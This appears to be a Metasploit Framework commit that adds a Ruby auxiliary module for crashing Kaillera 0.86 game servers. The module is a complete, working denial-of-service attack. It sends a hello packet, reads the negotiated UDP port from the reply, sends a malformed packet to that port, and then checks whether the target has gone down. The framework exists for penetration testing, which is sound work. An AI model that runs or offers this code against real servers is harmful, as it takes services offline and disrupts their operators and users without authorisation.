Added DoS module for kaillera, and a new 'games' folder under windows

git-svn-id: file:///home/svn/framework3/trunk@13118 4d416f70-5f16-0410-b530-b9f4589650da

modules/auxiliary/dos/windows/games/kaillera.rb

@@ -0,0 +1,74 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::Udp
+	include Msf::Auxiliary::Dos
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Kaillera 0.86 Server Denial of Service' ,
+			'Description'    => %q{
+					The Kaillera 0.86 server can be shut down by sending any malformed packet
+				after the intial "hello" packet.
+			},
+			'Author'         => ["Sil3nt_Dre4m"],
+			'License'        => MSF_LICENSE,
+			'Version'        => "$Revision$",
+			'References'     =>
+				[
+					[ 'URL', 'http://kaillerahacks.blogspot.com/2011/07/kaillera-server-086-dos-vulnerability.html' ]
+				],
+			'DisclosureDate' => 'Jul 2 2011'))
+
+		register_options([
+			Opt::RPORT(27888)
+		])
+	end
+
+	def run
+		#Send HELLO to target
+		connect_udp
+		print_status("Sending Crash request...")
+		udp_sock.put("HELLO0.83\0")
+		res = udp_sock.recvfrom(15)
+		disconnect_udp
+
+		if res[0] =~ /HELLOD00D([0-9]{1,5})/
+			port = $1
+		else print_status("Connection failed")
+			return
+		end
+
+		#Send DOS packet
+		connect_udp(global = true,'RPORT' => port)
+		print_status("Sending DoS packet to #{rhost}:#{port}...")
+		udp_sock.put("Kthxbai")
+		disconnect_udp
+
+		#Check is target is down
+		connect_udp
+		print_status("Checking target...")
+		udp_sock.put("HELLO0.83\0")
+		res = udp_sock.recvfrom(15)
+		disconnect_udp
+
+		if res[0] =~ /HELLO/
+			print_error("DoS attempt failed.  It apperas target is still up.")
+		else
+			print_good("Target is down")
+		end
+	end
+
+end